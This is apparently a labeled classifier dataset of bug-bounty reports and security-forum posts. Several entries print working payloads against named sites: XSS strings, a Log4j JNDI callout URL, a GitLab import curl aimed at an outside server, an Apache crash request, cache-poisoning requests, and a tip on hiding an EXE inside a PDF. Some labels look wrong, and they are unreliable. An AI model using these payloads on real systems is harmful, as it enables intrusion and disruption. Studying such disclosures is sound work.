-{"id": "f5ffb9e4cd84935f0a9b", "text": "[Cleartext Transmission of Sensitive Information] Title: Deceptive Manipulation of HTTP to HTTPS with VPN in Burp Suite\n\nDescription:\nI identified a deceptive behavior in the Burp Suite application, combined with the use of a VPN, that can potentially mislead attackers into thinking a website has downgraded from HTTPS to HTTP when it is still using HTTPS. This action may not pose a significant threat, but it can lead to attacker misdirection. The scenario can be categorized under CWE-319: Cleartext Transmission of Sensitive Information.\n\nSteps to Reproduce:\n\n    Set up the target website and ensure that it uses HTTPS for secure communication.\n\n    Open the Burp Suite application and configure it to intercept and manipulate traffic between the client and server.\n\n    Initiate a session with the target website through Burp Suite's proxy.\n\n    In Burp Suite, manipulate the response to make the attacker believe the website has downgraded to HTTP (e.g., modify response headers).\n\n    Use a VPN for added anonymity during this process.\n\n    Observe the attacker's response and their behavior, as they might adapt their attack techniques thinking the connection is unencrypted.\n\n## Impact\n\nDeception: The attacker is misled into thinking the connection is unencrypted (HTTP), which might lead them to adjust their attack techniques. This can provide a slight advantage to the defenders.\n\n    Wasted Resources: The attacker may allocate unnecessary resources to exploit an apparently vulnerable HTTP connection, which can be seen as a waste of their time and efforts.\n\n    False Sense of Security: On the flip side, if the attacker believes the website has downgraded to HTTP, they might not take encryption and security precautions as seriously, potentially leading to data breaches if they act recklessly.\n\nAnd Reputational damage due to when the attacker finds out it is really HTTPS not HTTP they might find a different application besides burp suite", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "40ea06dd3c0b27a5f12b", "text": "[Unknown] Disable xmlrpc.php file\n\n## Summary:\nxmlrpc.php can be used for portscanning or bruteforce attacks. Better is to hide this file.\n\n## Steps To Reproduce:\n1. Go to https://www.topechelon.com/xmlrpc.php  \n2. send a post request.\n\nPOST /xmlrpc.php HTTP/1.1\nHost: www.topechelon.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Length: 91\n\n<methodCall>\n<methodName>system.listMethods</methodName>\n<params></params>\n</methodCall>\n\nHTTP/1.1 200 OK\nDate: Fri, 11 Oct 2019 16:34:08 GMT\nContent-Type: text/xml; charset=UTF-8\nContent-Length: 4272\nConnection: close\nSet-Cookie: __cfduid=d3522855e8b518b66e70317fce00b27b91570811646; expires=Sat, 10-Oct-20 16:34:06 GMT; path=/; domain=.topechelon.com; HttpOnly\nVary: Accept-Encoding\nCF-Cache-Status: DYNAMIC\nStrict-Transport-Security: max-age=15552000; includeSubDomains\nX-Content-Type-Options: nosniff\nExpect-CT: max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\nServer: cloudflare\nCF-RAY: 52423d543ec4ddf1-SIN\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <params>\n    <param>\n      <value>\n      <array><data>\n  <value><string>system.multicall</string></value>\n  <value><string>system.listMethods</string></value>\n  <value><string>system.getCapabilities</string></value>\n  <value><string>demo.addTwoNumbers</string></value>\n  <value><string>demo.sayHello</string></value>\n  <value><string>pingback.extensions.getPingbacks</string></value>\n  <value><string>pingback.ping</string></value>\n  <value><string>mt.publishPost</string></value>\n  <value><string>mt.getTrackbackPings</string></value>\n  <value><string>mt.supportedTextFilters</string></value>\n  <value><string>mt.supportedMethods</string></value>\n  <value><string>mt.setPostCategories</string></value>\n  <value><string>mt.getPostCategories</string></value>\n  <value><string>mt.getRecentPostTitles</string></value>\n  <value><string>mt.getCategoryList</string></value>\n  <value><string>metaWeblog.getUsersBlogs</string></value>\n  <value><string>metaWeblog.deletePost</string></value>\n  <value><string>metaWeblog.newMediaObject</string></value>\n  <value><string>metaWeblog.getCategories</string></value>\n  <value><string>metaWeblog.getRecentPosts</string></value>\n  <value><string>metaWeblog.getPost</string></value>\n  <value><string>metaWeblog.editPost</string></value>\n  <value><string>metaWeblog.newPost</string></value>\n  <value><string>blogger.deletePost</string></value>\n  <value><string>blogger.editPost</string></value>\n  <value><string>blogger.newPost</string></value>\n  <value><string>blogger.getRecentPosts</string></value>\n  <value><string>blogger.getPost</string></value>\n  <value><string>blogger.getUserInfo</string></value>\n  <value><string>blogger.getUsersBlogs</string></value>\n  <value><string>wp.restoreRevision</string></value>\n  <value><string>wp.getRevisions</string></value>\n  <value><string>wp.getPostTypes</string></value>\n  <value><string>wp.getPostType</string></value>\n  <value><string>wp.getPostFormats</string></value>\n  <value><string>wp.getMediaLibrary</string></value>\n  <value><string>wp.getMediaItem</string></value>\n  <value><string>wp.getCommentStatusList</string></value>\n  <value><string>wp.newComment</string></value>\n  <value><string>wp.editComment</string></value>\n  <value><string>wp.deleteComment</string></value>\n  <value><string>wp.getComments</string></value>\n  <value><string>wp.getComment</string></value>\n  <value><string>wp.setOptions</string></value>\n  <value><string>wp.getOptions</string></value>\n  <value><string>wp.getPageTemplates</string></value>\n  <value><string>wp.getPageStatusList</string></value>\n  <value><string>wp.getPostStatusList</string></value>\n  <value><string>wp.getCommentCount</string></value>\n  <value><string>wp.deleteFile</string></value>\n  <value><string>wp.uploadFile</string></value>\n  <value><string>wp.suggestCategories</string></valu", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0afe8531a780d9441140", "text": "Hahaha thank you for the help! Will definitely snoop around the links shared!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4fc0a3d6df95afc456a0", "text": "[Cross-site Scripting (XSS) - Stored] Bypass: Stored-XSS with CSP-bypass via scoped labels' color\n\nHi team,\n\nThe [Stored-XSS with CSP-bypass via labels' color](https://hackerone.com/reports/1665658) has been mitigated in [Gitlab 15.3.2](https://about.gitlab.com/releases/2022/08/30/critical-security-release-gitlab-15-3-2-released/#stored-xss-via-labels-color). However it is not enough because it missed the case of [scoped label](https://gitlab.com/gitlab-org/gitlab/-/blob/85041966ed3eba23ee530a20c2eee374ef6e8617/ee/app/helpers/ee/labels_helper.rb#L33).\n\nI notified this missing in the [original report](https://hackerone.com/reports/1665658#activity-18273269) and @galfaro encouraged me to submit a new report about this.\n\n\n# Step to reproduce:\n\n- To reproduce, we need the following prerequisites:\n\n   + [Scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) are available in Gitlab Premium, so we need a premium account that can be obtained via the [free trial](https://about.gitlab.com/free-trial/)\n   + A Gitlab personal access token. Go [here](https://gitlab.com/-/profile/personal_access_tokens?name=test&scopes=api) to create a new token with within `api` scope.\n\n- Github does not allow to create arbitrary label colors. You can find in the attachment a dummy Github server in which we set a new label:\n   + name: `yvvdwf::label-name` (the `::` to scope the label)\n   + color: `\">yvvdwf-label<form class='hidden gl-show-field-errors'><input title='<script>alert(document.domain)</script>'>`\n\n- To easily reproduce, I'm hosting the dummy Github server at my own VPS, `http://51.75.74.52:11211`, I will shut it down once you validated the report.\n\n- Open a new terminal, then run the following command, in which:\n   + `$GL_TOKEN` is the the api token you've created above\n   + `yvvdwf-group-a` is a group (or account) name having premium features\n\n\nFor example:\n\n```bash\ncurl -kv \"https://gitlab.com/api/v4/import/github\" \\\n  --request POST \\\n  --header \"content-type: application/json\" \\\n  --header \"PRIVATE-TOKEN: $GL_TOKEN\" \\\n  --data '{\n    \"personal_access_token\": \"ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\n    \"repo_id\": \"523303538\",\n    \"target_namespace\": \"yvvdwf-group-a\",\n    \"new_name\": \"xss-on-label-color\",\n    \"github_hostname\": \"http://51.75.74.52:11211\"\n}'\n```\n\n- After finishing, you can view the list of the label of the imported project. You should see a popup created by this javascript `alert(document.domain)`\n\n- Since we can control the label color, we can create a Stored-XSS with CSP-bypass on another place rather than the page that lists the labels, such as, an issue or a merged request of another project by using [GitLab-specific references](https://docs.gitlab.com/ee/user/markdown.html#gitlab-specific-references)\n\n# Example:\n\n- https://gitlab.com/yvvdwf-group-a/xss-on-label-color/-/labels\n- https://gitlab.com/yvvdwf-group-a/xss-on-label-color/-/issues/1\n\n# Output of checks\n\nThis bug happens on GitLab.com\n\n# Impact\n\nStored-XSS with CSP-bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.\n\nBeside that, I would like to clarify some other metrics in the CVSS (the text in **bold** is copied from [your cvss calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator) )\n\n- `AC:L`: **Stored XSS on a page that's part of the user's normal workflow (issue or merge request page)**: As I mentioned above the store-XSS is on the issue/MR requests of a project the attack may create an issue/MR\n- `PR:N`: **The attacker is logged out - PR:N - but the victim is logged in**: The stored-XSS still exist even the attacker is logged out. \n- `C:H`: **Access tokens, runner tokens. Private repositories**: Indeed the XSS allows to execute any Rest API on behalf of the victim to get almost arbitrary private information of the victim (unless his password). It can even perform a *fake* account-take-over by changing the victim's username and immediately register a new account within the victim's username (as changing username does not require to confirm password)\n- `A:L`: ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d2df50ce12cbe411c6cb", "text": "[Unknown] [Ruby]: Server Side Template Injection\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "eb0d8904e764d10bcf96", "text": "Analytical problems\n\nhi guys! the machine “Analytical” always redirects to the link: https://html.design I think it’s not the direction of the training machine, correct me if I’m wrong… i hope you can help me", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "41c7d78046b642b0d10a", "text": "[Unknown] 2 Cache Poisoning Attack Methods Affect Core Functionality www.exodus.com\n\n## Summary:\nwww.exodus.com hosts static js and css files on Server: cloudflare . Which is cached by cloudflare and passed to all other users accessing the source. I was able to impact the core functionality by using a custom HTTP. Here are 2 details of the Bug.\n\n## Steps To Reproduce:\n\n**1. 501 Not Implemented**\n\nAt https://www.exodus.com/, I was able to impact core functionality by using an invalid custom HTTP header to replace the JavaScript file from https://www.exodus.com/webpack-runtime-d5cfa86b8e358efc5db3-v2.js with message '501 Not Implemented'.\n\n```\nERROR /webpack-runtime-d5cfa86b8e358efc5db3-v2.js?cachebust=exodus HTTP/1.1\nHost: www.exodus.com\n```\n```\nCRASH /webpack-runtime-d5cfa86b8e358efc5db3-v2.js?cachebust=exodus HTTP/1.1\nHost: www.exodus.com\n```\n\nResponse :\n```\nHTTP/1.1 501 Not Implemented\nDate: Wed, 25 May 2022 22:07:00 GMT\nContent-Length: 0\nConnection: keep-alive\nExpect-CT: max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\nStrict-Transport-Security: max-age=15552000; includeSubDomains; preload\nSet-Cookie: __cfruid=5132a5357442dd861d107824c86a39a95057bcaf-1653516420; path=/; domain=.exodus.com; HttpOnly; Secure; SameSite=None\nServer: cloudflare\nCF-RAY: 711194da3f3fa131-SIN\n```\n( HTTP ) My custom CRASH & ERROR to fulfill a request does not work or is not found on the server this server establishes communication between the client and the server to be interrupted . Note that the CF-RAY value changes every time we send a request. CF-RAY is a hash value that encodes information about the data center and requests.\n\n**2. Cache poisoning triggers Firewall Exodus**\n\nWhen you poison a .js / .css file with additional 2 headers namely : x-rewrite-url & x-original-url it will trigger the exodus firewall rule.\n\nGET request:\n```\nGET /webpack-runtime-d5cfa86b8e358efc5db3-v2.js?cachebust=exodus HTTP/1.1\nHost: www.exodus.com\nx-rewrite-url: /root\n```\n```\nGET /webpack-runtime-d5cfa86b8e358efc5db3-v2.js?cachebust=exodus HTTP/1.1\nHost: www.exodus.com\nx-original-url: /root\n```\nPay attention to the GET request. It looks different if you open the response in a browser, it will make a POST. Logically, if the POST, DELETE or PURGE methods are not allowed it will issue a response POST is not a valid request method ( 500 Internal Server Error ) However with 2 additional headers x-rewrite-url & x-original-url it actually makes a POST request to the internal system, interesting is not it? :\n```\nPOST /webpack-runtime-d5cfa86b8e358efc5db3-v2.js?cachebust=exodus HTTP/1.1\nHost: www.exodus.com\n```\nResponse :\n```\nHTTP/1.1 403 Forbidden\nServer: cloudflare\nCF-RAY: 7111ab2b8cd191c6-SIN\n\n<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n\n    <title>Exodus - Firewall Triggered</title>\n```\n\n## Supporting Material/References:\n- F1744429: Crash501NotImplemented.png\n- F1744430: FirewallTriggeredWithCachePoison.png\n- F1744431: PostRequestTriggeredFirewall.png\n\n==Note: I've added in the User-Agent header to help with problem tracking. https://hackerone.com/bismillahfortuner?type=user\nUser-Agent: h1-<bismillahfortuner>==\n\n## Impact\n\nwww.exodus.com hosts static js and css files on Server: cloudflare . Which is cached by cloudflare and passed to all other users accessing the source. I was able to impact the core functionality by using a custom HTTP. And I can trigger exodus firewall rules using cache poisoning", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2ef29bec639a44df6278", "text": "[Client-Side Enforcement of Server-Side Security] Client Side string length check\n\nHi,\nin the \"Class Settings\" page on khanacademy.org  you can rename the class, but the string length check is not done on the server side. \nThroughout the experimentation I used an account with associated email \"██████████\" and where applicable, class ID ████.\nAn attacker can save thousands of characters instead of the expected 50 (while I was testing I was able to set a string of over 108 thousand characters!).\nThe fix may be limited to the server-side string length check, however I recommend checking the string length on all other pages as well.\n\nRequest URL: https://it.khanacademy.org/api/internal/graphql/renameStudentListMutation\nParameter (POST): \"name\"\n\n## Impact\n\nAn attacker could exploit this lack of control to save content, break the page template (for /profile/attackerusername too), crash the page for low-memory visitors, and possibly cause unexpected behavior.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f822f6bec869a52a952b", "text": "[Uncontrolled Resource Consumption] Use of uninitialized value of in req_parsebody method of lua_request.c\n\n###Software Versions\nUbuntu - 18.04 64-bit\nApache 2.4.51 - 64 bit\n\n### Cause of Bug\nThis bug is present in the `req_parsebody` method of lua_request.c file.\nBelow mentioned lines of code cause this bug.\n```cpp\n const char  *data;\n int         i;\n size_t      vlen = 0;\n size_t      len = 0;\n if (lua_read_body(r, &data, (apr_off_t*) &size, max_post_size) != OK) {\n     return 2;\n }\n len = strlen(multipart);\n i = 0;\n for\n (\n    start = strstr((char *) data, multipart);\n ```\n\nNote that the `const char  *data` pointer is not initialized with a value.\nThat pointer is passed to the `lua_read_body` method to store data sent by HTTP request.\nIf the HTTP request does not contain any data, then a value will not be set for `const char  *data` pointer.\nSo `const char  *data` pointer will remain uninitialized.\n\nThen `const char  *data` pointer is passed as a parameter to \"strstr\" function.\nSegmentation fault will happen in \"strstr\" function, if it cannot access memory pointed by `const char  *data` pointer.\n\n**I noticed a difference between Apache 64 bit build and 32 bit build.**\n    64 bit build - Pointer value of`const char  *data` pointer is 0x1.\n                                So a Segmentation fault happens in `strstr` function.\n    32 bit build - Pointer value of `const char  *data` pointer has a valid memory address.\n                                 So Segmentation fault does NOT happen in `strstr` function.\n\n###Steps\n1. Build Apache web server with Lua module\n   `./configure --enable-lua=shared`\n\n2. Enable Lua module with Apache web server.\n    Add these lines to httpd.conf file.\n\n```apacheconf\n   LoadModule lua_module modules/mod_lua.so\n\n   <Files \"*.lua\">\n    SetHandler lua-script\n   </Files>\n```\n\n3. Copy attached F1658382 file to htdocs folder.\n\n4. Start Apache web server in debug single worker mode.\n   `./httpd -X -d /home/apache/install-directory/`\n\n5. Send this HTTP request with CURL.\n   `curl -v -X POST -H 'content-type: multipart/form-data;boundary=-' http://127.0.0.1/test.lua`\n    Apache web server will crash. *Note that apache web server is started in single worker mode in step 4.*\n\n** I selected Denial of Service (CWE-400) as weakness type. But correct weakness type should be \tImproper Initialization(CWE-665). It was not available to select.**\n\n## Impact\n\nMay be used for a denial of service attack.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cb1db096e890ee082fe8", "text": "open a hex editor. open your pdf in the editor. open the exe in the editor (in another window). copy the exe hex values into the pdf hex values (after pdf file end). save your new ‘pdf’, it will still open and operate as a pdf but your exe file will be there as well and you (or anyone) can extract the exe. PLEASE USE SAFELY AND LEGALLY!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c2a67729cb685da1816d", "text": "I am also getting the VMWare-42 xx xx xx bunch of numbers if I get it from WMIC in command or get-wmiobject in powershell. Does anyone have any good advice on this?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9464953a2456285b8276", "text": "[Privilege Escalation] OpenSSL engines can be used to bypass and/or disable the Node.js permission model\n\n**Summary:** Node.js 20 allows loading arbitrary OpenSSL engines even when the permission model is enabled, which can bypass and/or disable the permission model.\n\n**Description:** The permission model implementation permits loading arbitrary native code, e.g., through `crypto.setEngine()`, even when native addons are disallowed, which is the default configuration. Not only can this code bypass the permission system, it can also disable the permission system entirely, effectively allowing JavaScript code to escalate its own privileges.\n\n## Steps To Reproduce:\n\n  1. Enable the permission model.\n  2. Call, for example, `crypto.setEngine()` with a compatible OpenSSL engine.\n  3. Arbitrary code execution occurs, unaffected by the permission model.\n\n## Impact\n\nThe permission model is supposed to restrict the capabilities of running code. However, exploiting this vulnerability allows an attacker to easily bypass the permission model entirely. The OpenSSL engine can, for example, disable the permission model in the host process, and subsequently executed JavaScript code will be unaffected by the previously enabled permission model. This allows running JavaScript code to effectively elevate its own permissions.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dbb8f3dbf536facbb2e0", "text": "Hi, I resumed the last section “Skills Assessment - Service Login” after a while but unfortunately I didn’t write down the usernames obtained in the previous sections, is H**** P***** ? If not, could someone send them to me in DM? So I can try to do the last exercise without repeating the previous ones. EDIT ok i get it! A suggestion: follow the hint to start trying only with name and surname", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "40a566c3e403bfdb49ff", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS [██████]\n\nReflected cross-site scripting (XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way. An attacker can execute JavaScript arbitrary code on the victim's session.\nSteps To Reproduce\n\n Go to this URL:\nhttps://█████/7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E\n\n## Impact\n\n- Perform any action within the application that the user can perform.\n- View any information that the user is able to view.\n- Modify any information that the user is able to modify.\n- Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.\n- Steal user's cookie.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "07d6d7c7035602f5282c", "text": "[Unknown] [Python] Unsafe unpacking using shutil.unpack_archive() query and tests\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8ced914baee4292fd50c", "text": "[Improper Access Control - Generic] Secure view trivial to bypass\n\nWhile messing with https://hackerone.com/reports/1724016 I also noticed that it is even easier to bypass secure view.\nEspecially in NC 25 where you explicitly name the checkbox download a user will assume that downloading is thus not allowed or possible.\n\nHowever if richdocuments is installed and properly configured. A user can still easily fetch those files.\n\nAll they have to do is open their browser and see the request that is like\n\n```\nws://127.0.0.1:9980/cool/http%3A%2F%2F127.0.0.1%2Findex.php%2Fapps%2Frichdocuments%2Fwopi%2Ffiles%2F149_oc13vsnxh17n%3Faccess_token%3Dr7v1y7DI6gcgvzcG85fJE0TCa0IJXvnQ%26access_token_ttl%3D1665034074000/ws?WOPISrc=http%3A%2F%2F127.0.0.1%2Findex.php%2Fapps%2Frichdocuments%2Fwopi%2Ffiles%2F149_oc13vsnxh17n&compat=/ws\n```\n\nNow we extract out the internal part\n\n```\nhttp%3A%2F%2F127.0.0.1%2Findex.php%2Fapps%2Frichdocuments%2Fwopi%2Ffiles%2F149_oc13vsnxh17n%3Faccess_token%3Dr7v1y7DI6gcgvzcG85fJE0TCa0IJXvnQ%26access_token_ttl%3D1665034074000\n```\n\nWe url decode it\n\n```\nhttp://127.0.0.1/index.php/apps/richdocuments/wopi/files/149_oc13vsnxh17n?access_token=r7v1y7DI6gcgvzcG85fJE0TCa0IJXvnQ&access_token_ttl=1665034074000\n```\n\nNow lets add a `/contents` to the url\n\n```\nhttp://127.0.0.1/index.php/apps/richdocuments/wopi/files/149_oc13vsnxh17n/conents?access_token=r7v1y7DI6gcgvzcG85fJE0TCa0IJXvnQ&access_token_ttl=1665034074000\n```\n\nAnd there you have it. Downloaded without watermarks.\n\n## Impact\n\nThe checkbox as is misleads users into assuming that the file can't be downloaded.\nHowever getting it is easy for anybody that tries.\n\nA solution here would be to agree on some kind of public key cryptography or at the very least a shared secret between collabora and the Nextcloud instance. This could for example be passed via a header when doing calls. ensuring that only collabora can actually retrieve the file info, documents etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "74712f818aee71a71c69", "text": "[Code Injection] solr_log4j - http://██████████\n\nHi security team, i found a solr log4j vulnerability in your aplication\n\n## Impact\n\nLogging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nJust send get request to this path and change your interact server\n\nPATH ----> http://████████/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.YOURINTERACTSERVER/a%7D\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c50aef9d3a1b40e2f637", "text": "[Cleartext Storage of Sensitive Information] Page has a link to google drive which has logos and a few customer phone recordings\n\n**Description:** \n\n* Go to ███████\n\nRefer to the screenshot below\n\n██████\n\nAs you can see in the above image, there is is link to access zomato logos.This redirected me to a google drive page which not only had logos but also customer care recordings where sensitive information like **Customer mobile numbers,customer names,what food they ordered,order id's** were disclosed.\n\nRefer to the screenshot below.\n\n███\n\nNow go to **recordings** folder.\n\n██████\n\nAs you can see in the above image,there are about 35 recordings wherein sensitive information is being disclosed.I guess everything is uploaded yesterday (May 1st).\n\nI suspect there would be more of a recordings added to this folder as I see a folder named **Till Date Recordings** which is empty as of now.\n\n## Steps To Reproduce:\n\n1. Go to Go to █████\n2.Click on the google drive link for logos\n3.Go to recordings folder\n4.Find all customercare recordings\n\n## Supporting Material/References:\n\n The following is one of the audio recording found wherein customer number,name is disclosed.\n\n  * ██████████\n\n## Impact\n\nSensitive PII disclosure.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a7735d47190460fd9f16", "text": "Hauutiwwx: Upload the attached file named upload_win.zip to the target using the method of your choice. Once uploaded, RDP to the box Oh no you didnt Im sort of frustrated, as the guidelines are very clear. Upload without RDPing. RDP after you uploaded.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c526b7b5a5f9028d7229", "text": "[Violation of Secure Design Principles] Race condition in up voting and down voting\n\nHi,\n\nI want to report an issue that I have found on http://www.urbandictionary.com/\nwhen a user wants to up vote or down vote a term he simply presses on the up or down button.\neach user can up vote or down vote a term only once, but I have found that if a parallel threads do the process of up voting then multiple requests will be accepted.\n\n**POC**\n\nI entered the following term url: http://www.urbandictionary.com/define.php?term=alicia\nintercepted the request using burp suite and sent it to intruder and set the number of threads to be 11 then started the requests which has the following:\n\nGET /v0/vote?defid=3889203&direction=up&key=ab71d33b15d36506acf1e379b0ed07ee HTTP/1.1\nHost: api.urbandictionary.com\nCache-Control: max-age=0\nAccept: application/json, text/javascript, */*; q=0.01\nOrigin: http://www.urbandictionary.com\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\nReferer: http://www.urbandictionary.com/define.php?term=alicia\nAccept-Encoding: gzip, deflate, sdch\nAccept-Language: en-US,en;q=0.8\nConnection: close\n\nas a response I got the following responses:\n\nHTTP/1.1 200 OK\nConnection: close\nAccess-Control-Allow-Methods: GET\nAccess-Control-Allow-Origin: http://www.urbandictionary.com\nX-License: http://api.urbandictionary.com/\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Aleph/0.4.1\nDate: Mon, 21 Nov 2016 17:24:35 GMT\nVia: 1.1 vegur\nContent-Length: 40\n\n{\"status\":\"saved\",\"up\":6429,\"down\":1798}\n\nHTTP/1.1 200 OK\nConnection: close\nAccess-Control-Allow-Methods: GET\nAccess-Control-Allow-Origin: http://www.urbandictionary.com\nX-License: http://api.urbandictionary.com/\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Aleph/0.4.1\nDate: Mon, 21 Nov 2016 17:24:35 GMT\nVia: 1.1 vegur\nContent-Length: 40\n\n{\"status\":\"saved\",\"up\":6430,\"down\":1797}\n\n\nHTTP/1.1 200 OK\nConnection: close\nAccess-Control-Allow-Methods: GET\nAccess-Control-Allow-Origin: http://www.urbandictionary.com\nX-License: http://api.urbandictionary.com/\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Aleph/0.4.1\nDate: Mon, 21 Nov 2016 17:24:35 GMT\nVia: 1.1 vegur\nContent-Length: 40\n\n{\"status\":\"saved\",\"up\":6431,\"down\":1796}\n\nHTTP/1.1 200 OK\nConnection: close\nAccess-Control-Allow-Methods: GET\nAccess-Control-Allow-Origin: http://www.urbandictionary.com\nX-License: http://api.urbandictionary.com/\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Aleph/0.4.1\nDate: Mon, 21 Nov 2016 17:24:36 GMT\nVia: 1.1 vegur\nContent-Length: 40\n\n{\"status\":\"saved\",\"up\":6432,\"down\":1795}\n\nHTTP/1.1 200 OK\nConnection: close\nAccess-Control-Allow-Methods: GET\nAccess-Control-Allow-Origin: http://www.urbandictionary.com\nX-License: http://api.urbandictionary.com/\nCache-Control: private\nContent-Type: application/json; charset=utf-8\nServer: Aleph/0.4.1\nDate: Mon, 21 Nov 2016 17:24:36 GMT\nVia: 1.1 vegur\nContent-Length: 40\n\n{\"status\":\"saved\",\"up\":6433,\"down\":1795}\n\nwhich means I can up vote more than once and of course the same applies for down voting which can mislead users and creates fake reputation for the terms created.\n\nthanks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
